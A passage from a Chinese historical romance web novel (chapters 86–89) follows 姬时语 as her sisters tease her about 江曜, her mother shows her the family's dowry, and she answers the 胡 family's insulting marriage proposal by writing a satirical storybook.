“好。”
姬如萍一下便明白江曜何意,她应:“江公子安心,我们会送五妹回韶华院。”
“嗯。”
如此,江曜便抚平官袍,大步踏出了春和院。
姬时语瞧着他背影不见,才别别扭扭地转了头。
江曜在时,她是不愿受他缠着,也不想直视他的脸。
不光在府外街上,江曜似随时都会出现,即便在府上他一样态度强硬,纠缠不休。
由不得她说一个不字。
姬时语叹了口气。
“五妹,还说江公子不疼你呢?”
姬如萍却是笑得不行,眼是咪成缝了,戏谑姬时语道:“我瞧着他都把你放在心坎坎上宠的,五妹,江公子是真担心你。”
“我啊,这亲眼一见更是确信了。”
姬如蕊看了一眼姬如萍,跟着笑:“哪家的大人身带官职,还会亲自送人归府呢?”
“你们快别说他了,我是心头烦乱,说不清楚的。”
姬时语可不想听两位姐姐笑话自己,尤其还是江曜抱着她过来,这一路人不晓得被多少人瞧见。
到时都来笑话她还得了。
姬如萍走来,倾身坐在了姬时语身边,关切问道:“五妹怎么像是不大高兴?”
“是因江公子闹得?”
姬如蕊去沏了热茶,倒上一杯给姬时语,“他疼你,你反而并不期望他这般?”
“我也不是不想他疼我。”
姬时语不懂该怎么说,她垂首,姬如蕊执意将茶递来,是在外奔波候得口渴,姬时语接过小口抿水,润了嗓子舒坦几分。
“唉……”
姬时语又是一声叹息,想起江曜所做的那些事,她心中扭捏起来。
可有些事不说心里堵得慌,姬时语便问两人:“三姐,四姐,你们说如若有人安插人手在你们身边,你们会厌烦吗?”
“安插人手啊。”
姬如萍余光不自觉瞥了姬如蕊,“四妹的未婚夫常大人长得是个粗人,可又心细的很,常说四妹若要出府,需得多带些人。”
“三姐说笑我来了。”
姬如蕊一下便笑开,脸面溢出低低的羞涩,似陷入甜蜜的往事,
“他就是那么一说,那也是关切我的安危。”
“哎,你说说,多让人艳羡啊,我家谭大人从未有这等关心。”姬如萍捻指点她。
姬如蕊回道:“但谭大人说了他心悦三姐你,这辈子只愿意娶三姐你一门妻子。”
“快别说了。”
姬如萍扑过去捂住了姬如蕊的嘴,“四妹真是的,怎么连这事也知道?你是躲我房中了吗?”
姬如蕊挑眉笑笑,好不得意。
两姐妹互相打趣,姬时语听着,慢慢又琢磨出了深意。
两位姐姐与姐夫们感情尚可,姐夫们几回来侯府,亦是关切上心。
四姐夫常元忠叮嘱姬如蕊身边要多些人,不可独行。
是为在乎。
“好了,我们可莫要互相打趣了,不是说着五妹的事吗?”
姬如萍抓住了姬如蕊的手,摆头看姬时语。
“五妹就是想不明白罢了。”
姬如蕊清了清嗓子,见小姑娘还在愁眉,又生了笑道:“三姐,她愁的事关江公子,心心念念的还是江公子,这还不是两人感情好才彼此在乎吗?”
“五妹啊,你真是当事者迷,旁观者清。”
姬如萍突然喊了姬时语一声,姬时语回过神,微微茫然的眼顺着看来,姬如萍又说:“江公子多在乎你,我们看的清清楚楚,你只要明白这一件事就好了。”
姬如蕊颔首:“是啊,真心待你好的人,是不会让你委屈的。”
姬时语被两位姐姐哄得拨开了云雾,她俏生生笑道:“那四姐夫有让四姐满意吗?”
姬如蕊小脸通红。
“四妹快说!”
姬如萍打趣说:“常大人私底下给你送了不少礼,我可知道的。”
姬如蕊反问姬如萍:“那三姐满意谭大人吗?”
姬如萍坦然应:“很满意啊。”
她坦诚,姬如蕊便只得跟道:“我也无不满意。”
姬时语捧着下巴,笑容满面。
瞧着两位姐姐觅得良人,她打心底为两人开怀,两位姐夫三房夫人何氏和舒氏都已见过,长辈们应许首肯的夫婿,定不会错。
她们忠义侯府的姑娘们,宁愿不嫁高门,也不要婚后过得不舒坦。
“说起来,常大人同我说,江大人入了五军都督府之后,陛下总召他觐见。”
姬如蕊睨向姬时语,她之所以知情,这事亦是常元忠递话,姬如蕊笑了笑,“江大人为都督佥事,常大人见他也得毕恭毕敬喊他都督大人。”
“这还真是朝中新贵啊!”
姬如萍感慨赞叹,“五军都督府的大都督廖老过几年也该退了,到时候不得是江大人接任?”
姬如蕊点头,腼腆笑说:“常大人说江大人认得他,侯府有江大人,我们便跟着沾光。”
“真得谢谢江大人。”
姬如萍突而笑望姬时语,神情悠然,戏谑起她来:“罢了,谢什么江大人,谢五妹好了。”
“也是,往后还要多多仰仗五妹呢。”
姬如蕊和姬如萍一人握住姬时语一只手,两人谢过江曜时,不忘朝着小姑娘说着谢语,是拿她看作江曜,给姬时语说的生了脸红窘迫。
“好了,三姐,四姐。”
姬时语可不想再掰扯江曜之事,没干没系的像已是定了亲,说的人怪难堪,她改口道:“我看你们绣篓做了许多绣活,是在备着嫁妆之物?”
“是啊,这不是还有三个月了,日子紧迫,不得不抓紧做绣活。”
姬如萍解释道:“大姐在朝中为官,鲜少得空做绣活,我和四妹还需多做些送去给大姐。”
姬时语忽然忆起来,姬合英的婚期定在元月,比三房两位姐姐还要早一个月。
舒氏早在两个女儿年少时,便已着手准备嫁妆,不论是床榻桌案还是箱柜,嫁妆之中还有上好黄花梨的木具,这些皆需得几年打造好。
摆设瓷器衣物众多,其中鞋袜和汗巾多是新嫁娘自己备下,以作心意。
姬如萍和姬如蕊整日便在忙活这些琐事。
姬时语拿起一张鞋面仔细瞧看。
针脚细密结实,绣花紧簇,红花艳丽,两位姐姐的女红比她丑陋的绣活好上千百倍。
“五妹可要一起做?”
姬如蕊还以为姬时语想拿绣花针,转而便递给她一张新的汗巾,“闲来无事,就当为你日后出嫁做准备呀!”
“我……”
姬时语羞愧难当,直言道:“我不善女红,大姐从不学绣活,我便也没学。”
“大婶娘没给五妹请夫子?”
姬如萍诧异,“母亲给我和四妹请的夫子,教授到了十三岁才离府。”
只因三房那时候在兰陵,远离了京城,但三房夫人何氏还是为两位姑娘请了女夫子,教习两人女红。
姬如萍和姬如蕊能得侯府嫡女一般,真亏得两人的母亲是宽厚大方的何氏。
“我儿时身子弱,娘便没拘着我学。”姬时语娇憨一笑。
姬如萍点头,“这也难怪,五妹体弱做不得这些。”
“有些可惜了,若是我们未出阁,等五妹待嫁,还能帮衬一把,如今……”
姬如蕊绣了一朵海棠花,她垂了眼。
“好!”
姬时语不忍两位姐姐失落,扬着小脸执起绣花针,“那我同姐姐们学女红吧?做不了嫁衣,往后为自己绣个红盖头也不错。”
姬如萍低低的笑。
外人不知情,她这做姐姐的门清呢。
就说哪家的兄长能与妹妹做这等亲密之事?
又那样上心和体贴。
恨不得每日捧在手上,就怕她伤着了。
京城各府的夫人老爷夫妻之间,也未得这么亲昵的娇宠。
江大人抱着的可是娶她五妹为妻的心思,可惜五妹情意尚浅,比不得他用心深切,两人的婚事还有的磨。
姬如萍还真是有些盼着的。
有朝一日能待见大红新郎服的江大人江曜迎娶她们忠义侯府的五小姐,见得两人真正结为夫妻的那一日。
到时她可要好好的打趣姬时语,让小姑娘嘴硬。
还不肯承认她的心意。
第87章
因着忠义侯府三位姑娘不日之后将大婚,三夫人何氏陪在侯夫人舒氏身边,帮着清点嫁妆物什。
姬时语也是头一回知晓,清嫁妆是多繁琐麻烦。
舒氏领着姬时语去库房走了一趟。
仅是美人榻、红木三屏风罗汉床、八仙桌、黄花梨立柜等家具,各样摆放了几件,便挤得满满当当。
“府上竟准备了这样多?”
姬时语摸了摸角落里的一张拔步床,这都有些落了灰,不知在库房搁置了几年。
“娘。”
姬时语问道:“这张不会也是哪位姐姐的嫁妆吧?”
“原本是留给二房的静姐儿的,谁知道她,唉。”
舒氏不多说,两人也心知肚明。
二房的姬如静五年前意图谋害姬时语,被舒氏打发到了寺里拘着自省。
姬老夫人归府后,傅氏曾寻老夫人提过,期望老夫人开恩,能将姬如静接回侯府。
然而老夫人只说府上之事由舒氏定夺,她这个老婆子不管事,而后打发了傅氏离开。
舒氏不松口,这几年傅氏便也不曾再提过。
姬如静便一直被丢在寺
里,让人快忘记这侯府还有一位二小姐。
“若是二房安分些,这两年静姐儿也会嫁去不低的人家。”
舒氏清点了嫁妆的几个数,中馈将为几个姑娘添妆,她需得给三房送去。
“二婶娘若是来问,娘打算怎么办?”
姬时语又问了:“二姐年岁已是不小,二房能甘愿让她终生与青灯相伴吗?”
“到那时再论。”
舒氏笑得浅薄,“暮哥儿的婚事还未定,你二婶娘没的功夫上心女儿。”
忠义侯府家境殷实,这些年老太爷和侯爷立下赫赫军功,宫里赏赐了不少好宝贝,就连玉如意都有个五柄。
“我和你祖母相商量过了,给你们几个姑娘一人出嫁备一柄玉如意。”
舒氏拿起一只沉香木镶玉如意,笑道:“这是陛下赏赐之物,带去夫家更得脸面。”
这便是娘家家境殷实的底气。
侯府嫁出去的姑娘,婚后亦会有侯府撑腰。
姬时语才是惊讶,她指了自己,“娘,我也有吗?”
“为何不算你的?”
舒氏点了点姬时语的额头,好笑不已道:“你也是近十六岁了,你姐姐婚事一过,便该轮到为你说亲。”
“娘,我还不想嫁人。”
姬时语老不情愿了,抓着舒氏手腕便撒娇,“我就想在你身边,哪里也不想去!”
舒氏被她磨得受不住。
小女儿和大女儿两个性子,一个独立坚强,一个机灵活泼又喜欢同她撒娇。
每每姬时语可怜弯眼,舒氏的心都像是化成一滩水。
“你还要跟在娘亲身边做个老姑娘不成?”
“那有什么不好的,自家人不嫌弃我,你和爹也愿意养着我,我还怕外人说三道四啊!”
姬时语前世便是十六未嫁也未定亲,那时候她身子弱,舒氏和姬雄武不放心她嫁去别家,万一她出嫁却受了磋磨,体弱多病就此殒命。
两人接受不了这样的打击。
因而才会留姬时语在忠义侯府。
但是这一世,姬时语康健红润,小姑娘去了病气,小人儿是活泼伶俐,娇俏灵动。
舒氏身为亲娘,与姬雄武两人,自然便盼着女儿能幸福美满。
因此尽管姬时语嘴上道着不愿出嫁,舒氏只当她是玩笑话,揽着小女儿往库房里头走。
越过一处上好紫檀木做的海棠花围拔步床,舒氏与姬时语说:“你瞧,这张拔步床是你出生时你爹便命人打造的,在府上放了十来年,就等着给你做嫁妆呢。”
“爹这么早便盘算了?”
舒氏又连着给姬时语指了好几样,皆是难寻的香木,木具雕刻精美,耗了许多年才制成。
这些做陪嫁的物什之用心,尽数倾注了舒氏和姬雄武的疼爱。
一时之间,姬时语心口沉甸甸的。
舒氏抚摸她的头,慈爱一笑:“只要你能觅得良人,我们便愿意嫁你出去。”
“娘,那我得挑个好的!”
姬时语绽开了娇笑。
只是提了成婚,姬时语忽地忆起梦中她与江曜成亲的那一幕,她的哥哥身披大红,清冷容貌拢着妖冶,如勾人心魂的妖精似的。
回想起,姬时语不自觉羞红了脸。
舒氏稍一瞩目,便瞧见姬时语微红的玉脸,眉眼低垂之间,颇有几分小女儿家的娇羞。
“阿锁已有了中意之人了?”
姬时语猛地抬首,舒氏笑容很深,像能看穿她的念头,她飞快羞恼瞥头。
“没有呢?”
她才不认:“我怎么会有?”
舒氏又是笑。
姬时语不愿被舒氏看破心中所想,挽着娘亲手臂岔开话:“那姐姐的呢?”
“我和你父亲想过,你们姐妹俩不厚此薄彼,我们各为你们添几处商铺地契。你姐姐喜欢岭西,我们将岭西的铺子留给了她,给你的,便是京城的那几家。”
舒氏曾与姬时语说过,忠义侯府在京城的几处产业。
只是那时候姬时语只想着捯饬自己的书肆,没闲心去操心侯府的商铺。
“你书肆开办了几年,也懂得了如何掌管铺子,日后接手不会太难。”
姬时语依偎上舒氏身,“娘,那我岂不是真成了富贵娘子?”
“舒家还送来了许多添妆呢,你和你姐姐都有份,那些真迹的古画书籍比这些个铺子可值钱多了。”
姬时语光听着,掰手指算算。
当真不少哩,一日之间她便金银财宝傍身花不完了。
舒氏笑说:“现在,你知道自己身价尊贵了吧?”
“那我更不能随便出嫁了,外人把我的嫁妆算计干净了怎么办?不行!”
“是啊,阿锁可要守好你的嫁妆啊。”
舒氏看姬时语小财迷样,笑得不行:“不过也不是随意的哪家人家敢上侯府提亲的,莫说旁人了,我们怎会轻易给你定亲。”
“娘这话是何意思?”
“要来提亲,对方家境不比咱们侯府差,你知道薛家下聘是多少台?”
“三十六台。”
姬时语听姬如萍说过,尚书府薛家的聘礼是把侯府的正院塞了大半,那叫一个出手阔绰。
舒氏应:“这里头还不算金银财宝。”
姬时语嫣红小嘴合不拢,原来这便是尚书府的家底。
家道富足、百年世胄。
舒氏点她琼玉鼻头:“懂了吗?”
“懂了。”
姬时语喏喏颔首。
……
前一日,舒氏大口言道京城还没几户人家有这个殷实家底,敢随意上忠义侯府迎娶大房嫡出的小姐。
可这话不肖二日便被打了脸。
隔日,兵部尚书胡家的长房,还真就命媒婆来到忠义侯府提亲,为自家长公子胡丰汕求娶五小姐姬时语。
这一遭令侯府,乃至满京城喧哗不止。
再说胡丰汕那日,被五军都督府抓住当街调戏忠义侯府的姑娘,后他被擒住送去官府,京兆府尹沈册见此,头是一个比一个大。
江曜下令要沈册审,陈疾还带了命令,道都督大人已吩咐过了,只能胡老太爷亲自来提人。
不然便不让。
胡老太爷下朝之后,来京兆府时的脸色阴鸷难看。
沈册自然是不能给胡丰汕定重罪。
胡老太爷他惹不起,而且老太爷又是亲自出面,来提长孙回府,沈册便卖他一个薄面。
将人放了。
可是胡丰汕这臭名声是再隐瞒不住,不过一日,传得大街小巷满是。
话里话外是说胡家孙子败家,不学无术,成日就只学会了欺男霸女。
能教养出这样孙辈的胡家,又是什么好东西?
胡老太爷这位朝中五旬的老人,连坐了二十年的尚书大人,干出过实事吗?
若非五军都督府这回正巧撞见,忠义侯府的小姐还要受多大的委屈。
胡大人真能体恤百姓,为陛下分忧吗?
杂音滚滚,捕风捉影的苗头如野火疯长,顿时传入了朱红宫墙的乾清宫中。
次日,早朝之上,姬雄武一道愤慨激昂的上呈天听,为爱女鸣冤。
胡老太爷因而遭了弘文帝一顿痛骂。
身在尚书大人之位多年,胡老太爷已有近二十年未被人劈头盖脸斥过,如今却让弘文帝指着鼻子骂。
“胡爱卿教子无方,连忠义侯府的小姐都敢欺_辱,朕想来,这京城还有你们胡家不敢惹的?哼,朕许是该考虑你是否堪配这尚书之位了。”
“陛下,臣……”
弘文帝甚至不想听胡老太爷辩驳,冷面挥手便命他下去。
为这事,胡老太爷当真是憋了一肚子火。
下朝一回到胡家,胡老太爷便让人叫来了大儿子胡老爷和胡丰汕这个逆子,大骂长房无能还处处惹事。
胡家全靠胡老太爷一人顶梁,胡老爷是个没墨水的草包,从来只会拍屁股求老父。
“父亲,不如我让人去灭了京城里那些说闲话的?”
“灭人?你灭的干净吗?丰汕今日敢招惹忠义侯府的姑娘,外头只会怪我们胡
家为非作歹,我这乌纱帽迟早给你们父子摘了!”
“那父亲,你说这事该怎么做……”
胡老爷瑟缩。
胡老太爷脸黑沉的很,他冷漠开口:“回去告诉你夫人,让她立刻准备,命人上忠义侯府求娶五小姐。”
“父亲,你说的是,求娶五小姐?”
胡老爷吓了一大跳。
这不是胡丰汕才调戏过五小姐,忠义侯府能愿意嫁?
“对外就说丰汕对五小姐一见情深,是有意娶她为妻才会举止行事太出格!”
“父亲,这……”
胡老太爷不用想也猜出胡老爷蠢笨脑子所想,骂了一句“蠢”后,怒道:“就照我说的去办!”
“是,是。”
胡家说了算的,只会是胡老太爷,没的别人说话的份。
胡老爷带着胡丰汕灰溜溜走了。
就这样,胡家翌日便大张旗鼓来了忠义侯府。
不闲事大似的,媒婆嚷嚷着胡家嫡长孙胡丰汕对忠义侯府五小姐姬时语一见钟情、思之如狂。
长孙胡丰汕日思夜想夜不能寐,只盼着能将美娇娘迎娶回府。
五军都督府内,江曜还在主院清点兵书,他将书册归类之后,一沓子便摆放工整。
陈疾在这时候踏入屋中,见江曜面色平稳,贼兮兮凑过去笑了两声。
谁料江曜是头也不抬,像他这个大活人如似死人。
“江大人。”
陈疾后退两步,重回屋门口,他重重咳了一声。
江曜还是不搭理他。
“江大人!”
陈疾直接咬牙开口:“有媒婆上门姬家,为胡丰汕求娶五小姐为妻。”
闻言,桌案那面冷淡的狐狸眼睨了过来,阴沉又布满嗜血的暗光。
陈疾一个哆嗦。
好了,他就知道,这事,江大人无动于衷不了。
事关五小姐,胡丰汕大言不惭,觊觎不该之人,肖想江大人的逆鳞。
他是要动刀见血杀人的。
第88章
胡家来忠义侯府求娶,任明眼之人都不会觉得是真心实意,而是来搅事。
舒氏甚至不允姬时语去主院。
她招呼人将小姑娘送去了春和院,命三房的两位姐姐照看于她。
“这胡家人脸皮是得多厚,还能来咱们侯府求娶五妹?”
姬如萍听说胡丰汕当街所行之事,胡家人竟上门求娶,当即发了火:“胡丰汕这个嫡长孙如地痞恶霸一样,对五妹行如此粗鄙之事,竟还口口声声说是非五妹不可!”
“真是太不要脸了!”
姬如蕊气愤难耐,脖子红了,直接骂了出口,“呸,胡家的少爷给我们五妹提鞋子都不配,还敢来求娶。”
两人亦是清楚,胡丰汕醉酒拦了姬时语的马车,说了许多胡言乱语。
此人粗鄙不堪,辱小姑娘许多。
后来是时任五军都督府都督佥事的江曜碰见,惩治了胡丰汕,胡丰汕这才收手。
可惜京兆府尹沈册惹不起兵部尚书府胡家,将人就这么当堂放了,并未定罪。
然而胡家竟大放厥词,说胡丰汕是爱慕姬时语至深昏了头,满心想娶姬时语以致使做了混账事。
“胡家人这话说出去谁信?”
姬如萍愤愤不平,“平白没的牵连我们五妹的闺誉,五妹日后还怎么议亲嫁人?”
“太可恶了,胡丰汕这等人该拖入牢狱关个几年都不为过。”姬如蕊怒道。
“胡丰汕真是混蛋,看把我两个姐姐给气的。”
姬时语捧着脸,一双圆眼在莹白小脸宛如镶嵌玉盘之上的珍珠,明亮皎洁,她盈盈笑着。
“姐姐们消消火,莫要气坏了身子。”
“五妹就不气?”
姬如萍诧然姬时语竟不恼火,这事没搁在她头上,她都窝火的厉害,姬时语的神情却是如初,似一汪静水。
“胡丰汕这个禽兽,他可不是真心求娶,根本就是故意坏五妹的名声来的!”
“呸,说他是腌臜泼才吧,整日去花楼,怎还没烂了根子呢?”
姬如蕊这话引得姬时语好奇睨眼,她好笑弯眼,“四姐怎么知道的这么多?”
姬如萍打趣道:“还不是话本子看多了,她闺房最不缺的便是各样的话本。”
“三姐又来拆我的台。”
姬如蕊赶紧给姬如萍眼神,让她闭嘴。
小姑娘一人调笑一句,姬如萍和姬如蕊的火气顷刻间散了。
有姬时语在,几个人之间总是欢声笑语的,无甚烦恼。
可是对上姬如萍担忧的目光,姬时语还是说了她的心里话。
“胡丰汕来求娶,我气自然是气的,只是为了这样一个烂人恼火,有些不值当,闹得我自己染了病气多不好?”
“还是五妹想得开。”
姬如萍笑眼一眯。
“唉,谁让我倒了大霉,外出一趟便让恶狗给咬了。”
姬时语叹了口气,“你们是不知道,他找来的时候,我甚至当我自个儿是一处香气逼人的肉羹。”
姬如萍和姬如蕊听了她这话,再见小姑娘着一身粉嫩短袄,发髻流苏轻垂耳边,是一副粉面杏眼的好模样。
偏嫣红小嘴吐出的话,太过世俗。
两人顿时错愕,胡看一眼,摆了头一言难尽。
“我有说错吗?我说的不错呀!”
姬时语眨巴明媚的眼,抿唇而笑。
姬如萍和姬如蕊后回过神来,三个人笑作了一团。
“这也太是不错了。”
姬如萍笑的最欢,她是喜欢姬时语的直言直语,骂胡丰汕过瘾尽兴,眼角是笑出了泪花。
揉了揉肚子,姬如萍与姬时语道:“这亲事大婶娘定会拒了,只是胡家这么一闹,倒是我们侯府成了满京城的笑柄。”
姬如蕊眼里闪过一抹恼意,“就这么算了也太便宜他了。”
“就是,不能太便宜胡丰汕!”姬时语哼哼。
“五妹想的是?”
姬如萍和姬如蕊齐齐投目。
姬时语那张娇嫩粉面,盈盈挂起一道轻笑,她眨了眨眼,并未细说,故作了神秘。
……
胡家可谓是蹬鼻子上脸,跑来忠义侯府大闹一通便算了,侯夫人舒氏当堂拒了胡家的求娶之意后,胡家的媒婆竟大咧咧在正院给舒氏与姬老夫人跪下求情。
“侯夫人呐!”
媒婆哭嚎:“胡家的少爷没了五小姐是茶不香饭不思,这可让少爷怎么活啊?”
“不知道怎么活?”
舒氏亦是少见的冷了脸,“那就别活了。”
“怎么,你打算以死相逼?”
姬老夫人十足厌恶这胡家作态,她忍无可忍,吩咐下去,“来人呐,将胡家人丢出去!侯府可不欢迎这等脏人眼污人耳的东西!”
胡家的媒婆便被忠义侯府的下人们给捉住双手,拖拽着丢出了府门。
姬时语听着萍亭禀报,冷笑哼出了声:“胡家人确实不要脸,以为撒泼我娘就会怕?”
“还好老夫人与夫人英明。”
“也不正眼瞧瞧我们侯府赐下的牌匾,那几个字是先帝亲笔所写的,我们侯府最不惧的便是胁迫!”
“是啊,胡家大言不惭,就该辗出府去。”
萍柳应着姬时语的话。
“小姐,胡家与于威……”
萍亭垂眉,她那日去了香兰阁,还真是寻见于威入了雀娘的房,明光书肆的小道消息不是假的。
“不急,你们先出去,过些时你和萍亭进屋寻我。”
姬时语端坐在书案前,稍颔了首,便命两个丫鬟退下,带上屋门。
室内顿时寂静无声,姬时语研磨,提笔飞速开始在纸上落笔。
前世她写过江曜的往事,触犯他因果未了,并在无意之间连累了江曜的平生。
重活一世,打姬时语重回十岁那年起,她便下过一个决心。
她的话本再不触碰任何人的因果。
但是今日,这一道劫,她注定要破了。
胡丰汕满嘴喷粪,姬时语疾首蹙额。
不论如何,她都饶恕不了他。
整整三个时辰,姬时语未挪动过一步。
屋门安静如初,萍亭和萍柳候在外头,两人大气也不敢出。
直到日落,眼瞅着要到晚膳的时候,萍亭推了萍柳一把,眼神示意她去敲门。
在这时,那扇隔扇门被姬时语推开了。
“哎哟,累人呐……”
姬时语累的脸蛋都染了红,衣衫不平整,衣袖褶皱凌乱。
她伸了个懒腰,揉着酸痛的手臂,踱步舒展身子。
“萍亭,你拿上我写好的新话本,立马去一趟明光书肆。”
姬时语不忘吩咐道:“我要他们就今明两日抄写装册,将话本售卖出去,越快越好。”
萍亭没敢耽搁,收起纸张,提步便离了院。
……
胡家上忠义侯府提亲,被舒氏连人带聘礼一并丢出了府,对此,姬雄武甚是满意。
就胡家那个长孙胡丰汕成日没个正形,别说他还只是兵部尚书胡老太爷的嫡孙,即便这人是弘文帝送来给姬雄武当小兵的,姬雄武都不乐意接手。
这小混球还敢肖想他的宝贝金疙瘩。
白日做梦呢?
姬雄武本没将这事放在心里,谁知隔日上过早朝,首辅大人魏召竟笑呵呵走来道了喜。
“听闻忠义侯府的大小姐婚期将至,忠义侯的小女儿亦是好事临近?侯爷可莫要忘了老夫啊,我要上姬家讨喜酒的。”
“小女的什么好事?”
魏召不明所以,摸了把胡子,笑问:“不是胡老看上你的小女儿,有意为孙子讨个媳妇吗?”
“此事绝无可能!”
姬雄武闻言,刚毅英武的脸庞霎时黑沉,他甩了首辅魏召的脸,转身拂袖下了朝。
可才走了几步,一身虎补红袍的江曜冒了出来,走近时喊了他:“侯爷。”
“嗯,你要去五军都督府?”
“是。”
姬雄武脸色不佳,但还是应了江曜,两人并行走了一步,江曜在旁突然发出了一声冷笑。
他朝前方喊:“胡大人。”
姬雄武循着江曜目光看去,兵部尚书胡老太爷正站在两步远之地。
朱红宫墙明黄瓦片落下半边阴影,胡老太爷花白的胡子亦是暗暗沉沉。
“好巧啊。”
胡老太爷笑道:“姬侯爷,五军都督府的江大人。”
“胡大人不回胡家,候在这儿做何?”
“自然是有要事和侯爷一谈。”
“我们两家,好像并无关系。”
姬雄武可没任何好话与胡老太爷一说。
“侯夫人不满意我家那孙儿,是哪里不满?”
胡老太爷眼中闪过阴毒的笑,很快他摆手扭了头,好似不经意地提及:“回头我让丰汕改正,定会改至侯爷和侯夫人满意。”
“不必了,我们阿锁可高攀不起胡家。”
姬雄武黑着脸,毫不犹豫回绝。
“谁说的高攀不起?”
胡老太爷“欸”了一声,他走出墙边的暗色阴影,步入了日头之下。
冬日寒冷,他的声音瓮声瓮气。
“我瞧着五小姐貌美如花,是个好的小娇娘,我们胡家很喜欢。”
“胡大人,阿锁是我的女儿,你敢动她,便是和我们整个忠义侯府为敌,你想清楚了。”
为姬时语,姬雄武态度一向坚决,冲着胡老太爷,他佛然而怒:“阿锁不愿意嫁的人,冒着掉脑袋的险,我也会让陛下拂了婚事。你们胡家,尤其是你,胆敢动我女儿一根头发,我绝不轻饶!”
“好,那我们就走着瞧吧。”
胡老太爷笑着点头,他背过手便就这么在姬雄武和江曜目光中,步履不停地出了那道朱红宫门。
江曜沉下脸,一双狐狸眼阴冷冷的。
姬雄武更是竖眉嗔目,黝黑的脸宛如煤炭。
“侯爷,胡家欺人太甚,我……”
江曜切齿,杀气四溢,抑制不住。
“云让。”
姬雄武蹙眉,高大威猛的忠义侯一道眼神下来,江曜霎时收敛了杀气。
就听姬雄武说:“你先去五军都督府,不要误了正事。”
江曜翻身骑上马,他再未多言,调转马头,眉宇阴郁地往五军都督府而去。
一刻钟后,江曜入了五军都督府的主院。
早在听到胡家派人前往忠义侯府求娶姬时语,江曜便动了要杀胡丰汕的念头。
只是胡家毕竟是兵部尚书府,府邸庞大,他不便进入。
还不等盘算出如何下手,便受了胡老太爷下朝当面的挑衅。
胡家人竟敢这么对待他的小姑娘。
该杀。
江曜的杀念涌上了头,他手指躁动,心绪仍旧不宁。
想要摸上自己腰间的长刀,只是一刹那。
手指触及刀柄的绿宝石,腕骨起了凉意。
是右手手腕系着的那株粉色珠串。
坠落而下的玉牌微凉,轻晃打在了江曜的腕骨,他恍惚惊醒。
五年前姬时语买给他的生辰礼。
除却上战场怕弄坏珠串,每日每夜,江曜都将此物戴在手腕。
多年下来,粉色岫玉珠串微微粗粝,摸起来不再光滑,可江曜的手指还是忍不住在珠子之上捻了捻。
好似小姑娘就在手边,甜笑着安抚于他。
他没忘记,姬时语总喜欢哄他。
“云让哥哥是我心中的小将军呢,英勇无双。”
她还喜欢教导他:“哥哥你要为君子,不可动邪念。”
江曜抬起手腕,手上珠串吊着的玉牌落在了眼前,“康乐”二字多年之下早已模糊不清。
“得回楚王府,才能娶阿锁。在此之前……”
仿佛姬时语便在眼前。
江曜轻柔地拨弄着珠子,像如此对待姬时语一样。
他狐狸眼一垂,凑过去无比轻缓地亲吻了一口玉牌,复而低声喃喃。
“阿锁,怎么可以呢?我不会让旁人娶了你的,想都别想。”
第89章
十一月初冬,寒风淅沥萧萧,连翩瑟瑟。
陈疾快步踏入五军都督府主院,怀中书册几欲抖落,被他一把抓住,猛塞入怀。
刚一屋中,便见江曜神色死寂。
陈疾听闻早朝之上胡老太爷有意刁难忠义侯府,想来江曜是为此事难捱。
五军都督府虽有统帅之权,却不得掌兵权,先帝曾立五军都督府的初衷,便是为分化兵部的实权。
十年前,五军都督府的大都督白斩霍私通大陇,犯帝怒,后身死殒命。
五军都督府也彻底受此连罪,地位一落千丈。
收编的兵权,多数被弘文帝分给忠义侯大将军姬雄武,余下的则由兵部掌揽。
而今边关战事平,统军调度收至京中,兵部主揽大权,五军都督府宛如无权空府。
陈疾起初没想明白弘文帝送江曜入五军都督府的用意,这几日看下来,他有些琢磨出味儿了。
江曜自岭西征战五年,立下汗马功劳,平乱边关大陇,是为实干能才。
这等人才入的却并非兵部,而是接管五军都督府,想必弘文帝对兵部已积蓄诸多不满,有意再度分化权利。
而那时,他们五军都督府便将迎来重见天日之日。
因此,陈疾心生出澎湃的仰拜之意,迫切将怀里之物交给江曜来看。
“江大人。”
陈疾一喊,江曜并未抬首,不过陈疾还是将怀中书册纷纷丢在了桌案上,并取出一本递至江曜眼前。
江曜蹙眉,一本名为《戏说前传》的话本子赫然显露。
“陈疾,你告诉我,你领的是何职?”
“回大人,属下领的乃都事一职。”
江曜冷眼而望,眸中不寒而栗,“你还知道呢?当职拿来不相干的东西,是嫌我处置你不够?”
“大人息怒。”
陈疾早料到江曜会责备于他,不过他今日带来话本,定是有自己的用意。
他陪笑说:“大人你日理万机,从不出五军都督府,还不知道外头闹哄哄跟油锅炸开似得,传得都是明光书肆新出的话本子呢。”
“明光书肆。”
那不就是阿锁开的书肆。
这话
本亦是阿锁所写的了?
江曜恍然大悟,复而再看书案上的话本,迅速翻动起来。
“戏说前传讲的是京城四大才子,不,该说四大纨绔的故事。”
陈疾边道:“其中以尚书府长公子为首的大纨绔,祸乱坊间姑娘,还闹大了人家姑娘的肚子。”
江曜抿唇不禁发出一声低笑。
还真像是姬时语的手笔,胡家惹怒了她,便将人写进话本子里,可劲的磋磨。
“这大纨绔有次喝醉了酒,调戏官府小姐,被一顿撵走之后,回府路上招了狗来,惨遭恶犬追咬了十里路,身上皮肉皆开了花。”
陈疾说时带了笑,“大人,这话本职中说的可不就是胡家和忠义侯府之事吗?”
“没点名道姓的,不可胡说。”
江曜碍着姬时语的清誉,让陈疾闭了嘴。
陈疾干巴巴住口后,他改道:“五小姐在府上没受罪吧?”
一关姬时语的事,江曜阴郁的眼立马觑来了。
“听说胡家执意要迎娶五小姐过门。”
陈疾后怕扭了头,解释道:“清早都督府还在议论,说五小姐乃是大人的妹妹,大人爱护有佳,断不会让五小姐受委屈。”
闻言,江曜收了冷眼,睇给陈疾一道孺子可教也的眼神。
陈疾后知后觉,自己竟是谄媚到了位,江大人真吃这一套。
夸江大人不可,夸五小姐非常可,那是江大人的命脉。
“陈疾。”
胡思乱想之际,江曜喊了陈疾,陈疾一个哆嗦站定,回应:“大人。”
“你去将明光书肆的话本子都买回来。”
“是这戏说前传不够大人看的?”
陈疾探头打量,“没想到江大人还有看话本子的癖好。”
江曜射来冷冷一眼,“你没话找话?”
陈疾不敢再说,应后匆匆离了院。
他走后,江曜闲来无事便翻弄话本。
江曜从未没瞧过姬时语的笔墨,从前只听小姑娘说她开办了一处书肆,没事好写几本作乐子。
这本《戏说前传》话本正写到大纨绔被狗咬得屁滚尿流,回府哀嚎哭诉,没两日,一封信送来了尚书府。
大纨绔在外的老相好,竟是挺着孕肚寻上门来了。
话本没了下文,江曜执茶抿了一口。
他又等了一盏茶的功夫,院外匆忙的脚步声渐入,是陈疾折返而归。
“大人,你要的我买回来了。”
